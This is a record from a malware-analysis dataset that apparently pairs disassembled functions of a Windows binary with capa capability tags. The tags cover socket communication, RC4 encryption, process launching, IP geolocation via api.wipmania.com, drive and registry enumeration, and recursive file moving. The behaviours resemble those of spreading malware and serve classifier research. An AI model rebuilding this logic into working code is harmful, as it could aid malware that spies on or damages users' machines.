joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4049c0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov byte [ebp - 5], 0
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00407020
add esp, 0x10
movzx eax, al
test eax, eax
je 0x404aab
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
jmp 0x4049ff
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404aa1
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x10]
cmp dword [edx + 4], 0xffffffff
je 0x404a9c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x404a79
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x404a75
push 1
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 4]
push eax
call fcn.00407610
add esp, 0xc
mov byte [ebp - 5], al
jmp 0x404a79
mov byte [ebp - 5], 1
movzx ecx, byte [ebp - 5]
test ecx, ecx
je 0x404a85
jmp 0x404aa1
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], 0xffffffff
jmp 0x4049f6
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x407020
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x20
lea eax, [ebp - 0x20]
push eax
call fcn.00403310
add esp, 8
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x14], 6
mov edx, dword [ebp + 0x14]
push edx
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
neg eax
sbb eax, eax
add eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x407070
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x4070bc
push 0
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x4070b1
jmp 0x4070bc
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
jmp 0x407084
mov edx, dword [ebp - 8]
xor eax, eax
cmp edx, dword [ebp + 0xc]
sete al
mov esp, ebp
pop ebp
ret

Function at 0x407610
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
imul eax, eax, 0x3e8
mov dword [ebp + 0xc], eax
push 4
lea ecx, [ebp + 0xc]
push ecx
movzx edx, byte [ebp + 0x10]
neg edx
sbb edx, edx
neg edx
add edx, 0x1005
push edx
push 0xffff
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add eax, 1
pop ebp
ret

Function at 0x4089e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x14
mov eax, dword [ebp + 8]
push eax
call fcn.00403310
add esp, 8
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1020]
mov eax, dword [ebp + 8]
lea ecx, [eax + edx + 0x1c]
mov edx, dword [ebp + 8]
mov dword [edx + 0x18], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 0x1024]
sub edx, dword [ecx + 0x1020]
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], edx
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 0x1028]
test edx, edx
je 0x408a61
mov dword [ebp - 4], 0
push 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 1
mov edx, dword [ebp + 8]
add edx, 0x14
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x102c]
push ecx
call dword [sym.imp.WS2_32.dll_WSARecv]
mov dword [ebp - 8], eax
jmp 0x408a87
push 0
mov edx, dword [ebp + 8]
push edx
push 0
push 0
push 1
mov eax, dword [ebp + 8]
add eax, 0x14
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x102c]
push edx
call dword [sym.imp.WS2_32.dll_WSASend]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408aa3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x408aa3
mov dword [ebp - 0xc], 0
jmp 0x408aaa
mov dword [ebp - 0xc], 1
mov al, byte [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x408e30
Capabilities:
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov byte [ebp - 9], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x419ee4], eax
cmp dword [0x419ee4], 0xffffffff
je 0x408fbc
mov dword [ebp - 4], 1
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
mov ecx, dword [0x419ee4]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea edx, [ebp - 0x1c]
push edx
call fcn.00403310
add esp, 8
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
mov ecx, 2
mov word [ebp - 0x1c], cx
push 0x7f000001
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x18], eax
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [0x419ee4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x408fa7
push 0x64
mov ecx, dword [0x419ee4]
push ecx
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
jne 0x408fa7
mov dword [ebp - 4], 0x10
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [0x419ee4]
push ecx
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x408fa7
lea edx, [ebp - 0x2c]
push edx
push 0x10
push str.127.0.0.1:_hu
call fcn.00402100
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
push 0x18
push str.http:__127.0.0.1:_hu
call fcn.00402100
add esp, 0xc
movzx ecx, word [ebp - 0x1a]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
movzx edx, ax
push edx
lea eax, [ebp - 0x2c]
push eax
push 0x51
mov ecx, dword [ebp + 0x10]
push ecx
call dword [0x419fec]
add esp, 0x10
mov edx, dword [ebp + 0x10]
mov byte [edx + 0x50], 0
movzx eax, word [ebp - 0x1a]
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
movzx ecx, ax
push ecx
lea edx, [ebp - 0x44]
push edx
push 0x80
push 0x419f00
call dword [0x419fec]
add esp, 0x10
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x408d30
push 0
push 0
call dword [0x419f90]
add esp, 0x18
mov dword [0x419efc], eax
xor edx, edx
cmp dword [0x419efc], 0
setne dl
mov byte [ebp - 9], dl
movzx eax, byte [ebp - 9]
test eax, eax
jne 0x408fbc
mov ecx, dword [0x419ee4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x408fd0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov byte [ebp - 1], 0
cmp dword [0x419ee4], 0xffffffff
je 0x408fed
mov eax, dword [0x419ee4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x1388
mov ecx, dword [0x419efc]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov edx, dword [0x419efc]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x419efc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 1], 1
mov esp, ebp
pop ebp
ret
Function at 0x40bee0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], ecx
push 0x14
mov eax, dword [ebp + 8]
push eax
call fcn.00403310
add esp, 8
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x101c]
mov eax, dword [ebp + 8]
add edx, dword [eax + 0x1020]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x18], edx
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov ecx, dword [edx + 0x1024]
sub ecx, dword [eax + 0x1020]
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0x1028]
test ecx, ecx
je 0x40bf66
mov dword [ebp - 4], 0
push 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 4]
push eax
push 0
push 1
mov ecx, dword [ebp + 8]
add ecx, 0x14
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x102c]
push eax
call dword [sym.imp.WS2_32.dll_WSARecv]
mov dword [ebp - 8], eax
jmp 0x40bf8c
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 1
mov edx, dword [ebp + 8]
add edx, 0x14
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x102c]
push ecx
call dword [sym.imp.WS2_32.dll_WSASend]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40bfa8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x40bfa8
mov dword [ebp - 0x10], 0
jmp 0x40bfaf
mov dword [ebp - 0x10], 1
mov al, byte [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x40e780
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 0x1a0], ecx
mov byte [ebp - 0x195], 0
mov eax, 1
test eax, eax
je 0x40ea05
mov ecx, dword [ebp - 0x1a0]
mov byte [ecx + 4], 0
call fcn.00409080
movzx edx, al
test edx, edx
je 0x40ea05
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40ea05
call fcn.004035b0
movzx ecx, al
test ecx, ecx
je 0x40e9f4
call fcn.00403c60
movzx edx, al
test edx, edx
je 0x40e9f4
call fcn.00402120
movzx eax, al
test eax, eax
je 0x40e9e4
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov ecx, dword [ebp - 0x1a0]
mov dword [ecx + 0x805198], eax
mov edx, dword [ebp - 0x1a0]
cmp dword [edx + 0x805198], 0
je 0x40e9d4
push 0x12
mov eax, dword [ebp - 0x1a0]
add eax, 0x804c10
push eax
call fcn.00403310
add esp, 8
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x804c3c
call fcn.00407800
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x804c24
call fcn.004035d0
push 0
push 0
push 0
push 1
mov ecx, dword [ebp - 0x1a0]
call fcn.0040e5c0
mov ecx, dword [ebp + 0xc]
push ecx
movzx edx, word [ebp + 8]
push edx
mov eax, dword [ebp - 0x1a0]
push eax
call fcn.00408e30
add esp, 0xc
movzx ecx, al
test ecx, ecx
je 0x40e987
mov edx, dword [ebp - 0x1a0]
mov dword [edx + 0x80519c], 0
mov dword [ebp - 0x19c], 0
jmp 0x40e8cd
mov eax, dword [ebp - 0x19c]
add eax, 1
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x10
jae 0x40e94d
lea ecx, [ebp - 0x194]
push ecx
push 0
mov edx, dword [ebp - 0x1a0]
push edx
push 0x40e5a0
push 0
push 0
call dword [0x419f90]
add esp, 0x18
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ecx + 0x80519c]
mov ecx, dword [ebp - 0x1a0]
mov dword [ecx + edx*4 + 0x8051a0], eax
mov edx, dword [ebp - 0x1a0]
mov eax, dword [edx + 0x80519c]
mov ecx, dword [ebp - 0x1a0]
cmp dword [ecx + eax*4 + 0x8051a0], 0
je 0x40e948
mov edx, dword [ebp - 0x1a0]
mov eax, dword [edx + 0x80519c]
add eax, 1
mov ecx, dword [ebp - 0x1a0]
mov dword [ecx + 0x80519c], eax
jmp 0x40e8be
mov edx, dword [ebp - 0x1a0]
cmp dword [edx + 0x80519c], 0
je 0x40e977
push 1
mov eax, dword [ebp - 0x1a0]
add eax, 8
push eax
call fcn.00403b70
add esp, 8
mov byte [ebp - 0x195], 1
movzx ecx, byte [ebp - 0x195]
test ecx, ecx
jne 0x40e987
call fcn.00408fd0
movzx edx, byte [ebp - 0x195]
test edx, edx
jne 0x40e9a5
push 0
push 0
push 1
push 0
mov ecx, dword [ebp - 0x1a0]
call fcn.0040e5c0
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x804c24
call fcn.004035f0
movzx eax, byte [ebp - 0x195]
test eax, eax
jne 0x40e9d4
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ecx + 0x805198]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 0x195]
test eax, eax
jne 0x40e9e4
call fcn.00402250
movzx ecx, byte [ebp - 0x195]
test ecx, ecx
jne 0x40e9f4
call fcn.00403e00
movzx edx, byte [ebp - 0x195]
test edx, edx
jne 0x40ea05
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov al, byte [ebp - 0x195]
mov esp, ebp
pop ebp
ret 8
Function at 0x40eb20
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
push 0x40ea20
push 0
push 0
call dword [0x419f90]
add esp, 0x18
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40eb73
push 0x7530
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x40fd00
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 0x21], 0
mov byte [ebp - 0x20], 0
xor eax, eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov byte [ebp - 0x20], 8
mov byte [ebp - 0x1f], 2
mov dword [ebp - 0x1c], 0x6801
cmp dword [ebp + 0x18], 0x10
jae 0x40fd46
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x2c], ecx
jmp 0x40fd4d
mov dword [ebp - 0x2c], 0x10
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
lea edx, [ebp - 0x14]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1c
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [0x419f84]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x40fdd6
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
push ecx
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x21], al
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov al, byte [ebp - 0x21]
mov esp, ebp
pop ebp
ret
Function at 0x410000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x410071
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4100b3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x4100b1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4100b3
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4101c0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xa
push 0
lea eax, [ebp - 0xc]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xa
lea ecx, [ebp - 0xc]
push ecx
push 7
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x416b2c
lea edx, [ebp - 0xc]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x410202
mov al, 1
jmp 0x410204
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x410210
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push 0x64
push 0
lea eax, [ebp - 0x68]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push 0x416b30
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x4102b9
push 0
push 0
push 0
push 0
push str.http:__api.wipmania.com_
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x4102af
lea edx, [ebp - 0x70]
push edx
push 0x63
lea eax, [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x3e
lea edx, [ebp - 0x68]
push edx
call fcn.004102d0
add esp, 8
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x4102af
mov eax, dword [ebp - 0x78]
add eax, 1
mov dword [ebp - 0x78], eax
push 0x416bc0
mov ecx, dword [ebp - 0x78]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4102af
mov al, 1
jmp 0x4102c5
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x4102f0
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 1
push 0x416bc8
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x410388
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41037e
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x20000005
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x10], 0x1b58
jbe 0x410374
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, dword [edx]
je 0x410374
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x410770
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x4107e5
cmp dword [ebp - 0x41c], 3
jbe 0x4107ac
cmp dword [ebp - 0x41c], 6
je 0x4107ac
jmp 0x4107e5
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x4107e5
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x4107e5
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4107f0
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], reloc.WS2_32.dll_bind
mov dword [ebp - 4], bind
mov dword [ebp - 0x14], 0
jmp 0x410826
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x410896
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x410894
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41088a
cmp dword [ebp - 0x1c], 0
je 0x41088a
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41081d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x410970
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
push 0x416ed4
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0xffffffff
je 0x410a9f
push 0x416ee0
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4109f1
push 0x416ee4
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4109f3
jmp 0x410a6c
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x416eec
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0x416ef8
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 0x458]
and ecx, 0x10
je 0x410a56
lea edx, [ebp - 0x870]
push edx
lea eax, [ebp - 0x668]
push eax
call fcn.00410970
add esp, 8
jmp 0x410a6c
push 9
lea ecx, [ebp - 0x870]
push ecx
lea edx, [ebp - 0x668]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x458]
push eax
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4109c5
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esp, ebp
pop ebp
ret